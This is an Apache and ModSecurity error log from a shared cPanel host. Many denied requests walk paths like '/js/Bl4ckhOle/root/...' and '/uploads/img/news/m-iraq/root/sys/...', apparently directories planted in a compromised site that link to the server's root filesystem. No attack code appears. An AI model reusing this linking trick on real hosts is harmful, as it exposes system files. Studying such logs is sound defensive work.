[Fri Jul 17 08:09:56.936535 2026] [security2:error] [pid 1994967:tid 1994967] [client 66.228.53.162:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almV_Ehq6UAnqYko0LpThAAAABE"], referer: https://66.85.158.91/
[Fri Jul 17 08:09:56.977623 2026] [cgi:error] [pid 1994967:tid 1994967] [client 66.228.53.162:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://66.85.158.91/
[Fri Jul 17 08:09:56.977696 2026] [cgi:error] [pid 1994967:tid 1994967] [client 66.228.53.162:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://66.85.158.91/
[Fri Jul 17 08:09:57.660901 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almV_WidQp3SsqeycPEpcwAAAAo"], referer: http://www.anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:09:57.660943 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almV_WidQp3SsqeycPEpcwAAAAo"], referer: http://www.anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:09:58.328744 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:53818] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:59.761872 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:59.806565 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:53944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:00.036611 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:00.309280 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:00.879266 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:53994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:00.946324 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:01.311116 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:04/physical_node/rescan
[Fri Jul 17 08:10:01.424475 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:45482] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:01.494935 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:02.308820 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:45506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:03.617735 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:03.880098 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:03.977086 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:04.328990 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:45598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:04.430114 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:04.894900 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:05.445988 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/subsystem/drivers_probe
[Fri Jul 17 08:10:05.714095 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:05.990242 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:06.442799 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:0d/subsystem/uevent
[Fri Jul 17 08:10:06.533699 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:06.997196 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:07.972309 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:08.812492 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:45756] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:08.823951 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:09.277688 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:09.369452 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:10.022473 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:11.044311 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:11.795138 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:11.871843 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:13.583179 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:53594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:14.178207 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:14.330786 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:14.695060 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/ec/bind
[Fri Jul 17 08:10:15.792298 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:17.654071 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:44/subsystem/tty17/power/runtime_status"] [unique_id "almWETRCJXF37-WnVv0fHgAAABI"]
[Fri Jul 17 08:10:17.654124 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:44/subsystem/tty17/power/runtime_status"] [unique_id "almWETRCJXF37-WnVv0fHgAAABI"]
[Fri Jul 17 08:10:19.126781 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:53790] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:20.052379 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:20.662198 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory4/subsystem/uevent
[Fri Jul 17 08:10:21.937411 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory7/subsystem/uevent
[Fri Jul 17 08:10:22.575403 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:22.848308 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:23.034937 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:23.856244 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/nft_limit/initsize"] [unique_id "almWF5OFLENLI63GGOEG8wAAAAQ"]
[Fri Jul 17 08:10:23.856278 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/nft_limit/initsize"] [unique_id "almWF5OFLENLI63GGOEG8wAAAAQ"]
[Fri Jul 17 08:10:25.858790 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:27.372696 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:27.679137 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:27.807568 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 47.82.51.45:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/devices/system.slice/dev-hugepages.mount/devices.deny
[Fri Jul 17 08:10:27.896058 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:27.920245 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.82.52.163:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/251:0/device/subsystem/devices/00:00/subsystem/uevent
[Fri Jul 17 08:10:28.034186 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:28.102981 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:28.130558 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:28.233487 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:28.657163 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:28.861162 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:29.594914 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty0/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 08:10:30.054666 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty3/subsystem/ttyS0/device/driver/bind
[Fri Jul 17 08:10:30.426428 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:30.791350 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:30.978653 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.143687 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.155495 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty56/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 08:10:31.177903 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.334988 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.335032 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.521218 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.641493 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.663371 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.875554 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:31.960035 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:32.155701 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:32.704501 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty21/subsystem/tty40/uevent"] [unique_id "almWII4Wmn5zySdNNkAhTgAAABM"]
[Fri Jul 17 08:10:32.704546 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty21/subsystem/tty40/uevent"] [unique_id "almWII4Wmn5zySdNNkAhTgAAABM"]
[Fri Jul 17 08:10:32.885939 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.341815 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.402370 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.483185 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.501622 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.558708 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 47.82.53.33:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:05.0/firmware_node/physical_node/subsystem/uevent
[Fri Jul 17 08:10:33.584497 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.638529 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.728937 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.777283 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.874568 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.895570 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:33.965545 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:34.441904 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:34.479087 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:35734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:34.718154 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:35.082744 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:35.218964 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 47.82.53.223:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:04/physical_node/remove
[Fri Jul 17 08:10:35.739508 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:36.923942 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:36.970318 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:37.000385 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:37.096503 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:37.240988 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:37.251142 2026] [security2:error] [pid 1993715:tid 1993715] [client 47.79.15.99:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:48/subsystem/tty44/"] [unique_id "almWJXRlmrtCoY_COpcfAgAAAAg"]
[Fri Jul 17 08:10:37.251175 2026] [security2:error] [pid 1993715:tid 1993715] [client 47.79.15.99:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:48/subsystem/tty44/"] [unique_id "almWJXRlmrtCoY_COpcfAgAAAAg"]
[Fri Jul 17 08:10:37.387987 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:37.510010 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:37.566718 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:38.053416 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:38.152020 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:35888] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:40.208297 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 57.141.18.83:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory113/subsystem/devices/memory3/node0/memory115/node0/memory68/node0/compact
[Fri Jul 17 08:10:41.308021 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty36/uevent"] [unique_id "almWKYha5y5fYnQ1qRrsWgAAAAE"]
[Fri Jul 17 08:10:41.308090 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty36/uevent"] [unique_id "almWKYha5y5fYnQ1qRrsWgAAAAE"]
[Fri Jul 17 08:10:41.327221 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:41.763302 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:0a/physical_node/driver/bind
[Fri Jul 17 08:10:43.013684 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 57.141.18.1:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory115/subsystem/devices/memory97/node0/cpu3/crash_notes
[Fri Jul 17 08:10:43.787269 2026] [autoindex:error] [pid 1999089:tid 1999089] [client 20.151.7.119:0] AH01276: Cannot serve directory /home/jrdclk/public_html/jrdcwater/watertest/public/.well-known/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 08:10:44.460008 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:42334] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:47.866592 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:42462] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:47.903863 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:48.364271 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:16/subsystem/tty22/power/control"] [unique_id "almWMA5GPQ6hs4VrfMo6wwAAAAY"]
[Fri Jul 17 08:10:48.364319 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:16/subsystem/tty22/power/control"] [unique_id "almWMA5GPQ6hs4VrfMo6wwAAAAY"]
[Fri Jul 17 08:10:48.527269 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:42506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:49.191356 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:49.731209 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:50.203186 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:50.453670 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:42584] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:50.552407 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/drivers/clk-pmc-atom/bind
[Fri Jul 17 08:10:51.418848 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:51.764471 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:52.323521 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:52.928226 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:53.291636 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:53.901285 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty4/power/runtime_status"] [unique_id "almWNV2NhE8i6ppze4eqpAAAAAs"]
[Fri Jul 17 08:10:53.901333 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty4/power/runtime_status"] [unique_id "almWNV2NhE8i6ppze4eqpAAAAAs"]
[Fri Jul 17 08:10:54.247223 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:54.314918 2026] [security2:error] [pid 1994976:tid 1994976] [client 162.217.100.201:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almWNjRCJXF37-WnVv0fRgAAABI"]
[Fri Jul 17 08:10:55.039679 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:57.474498 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/physical_node/driver/unbind
[Fri Jul 17 08:10:57.474713 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:43840] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:10:58.146811 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:58.385677 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/pure-ftpd/' is executable
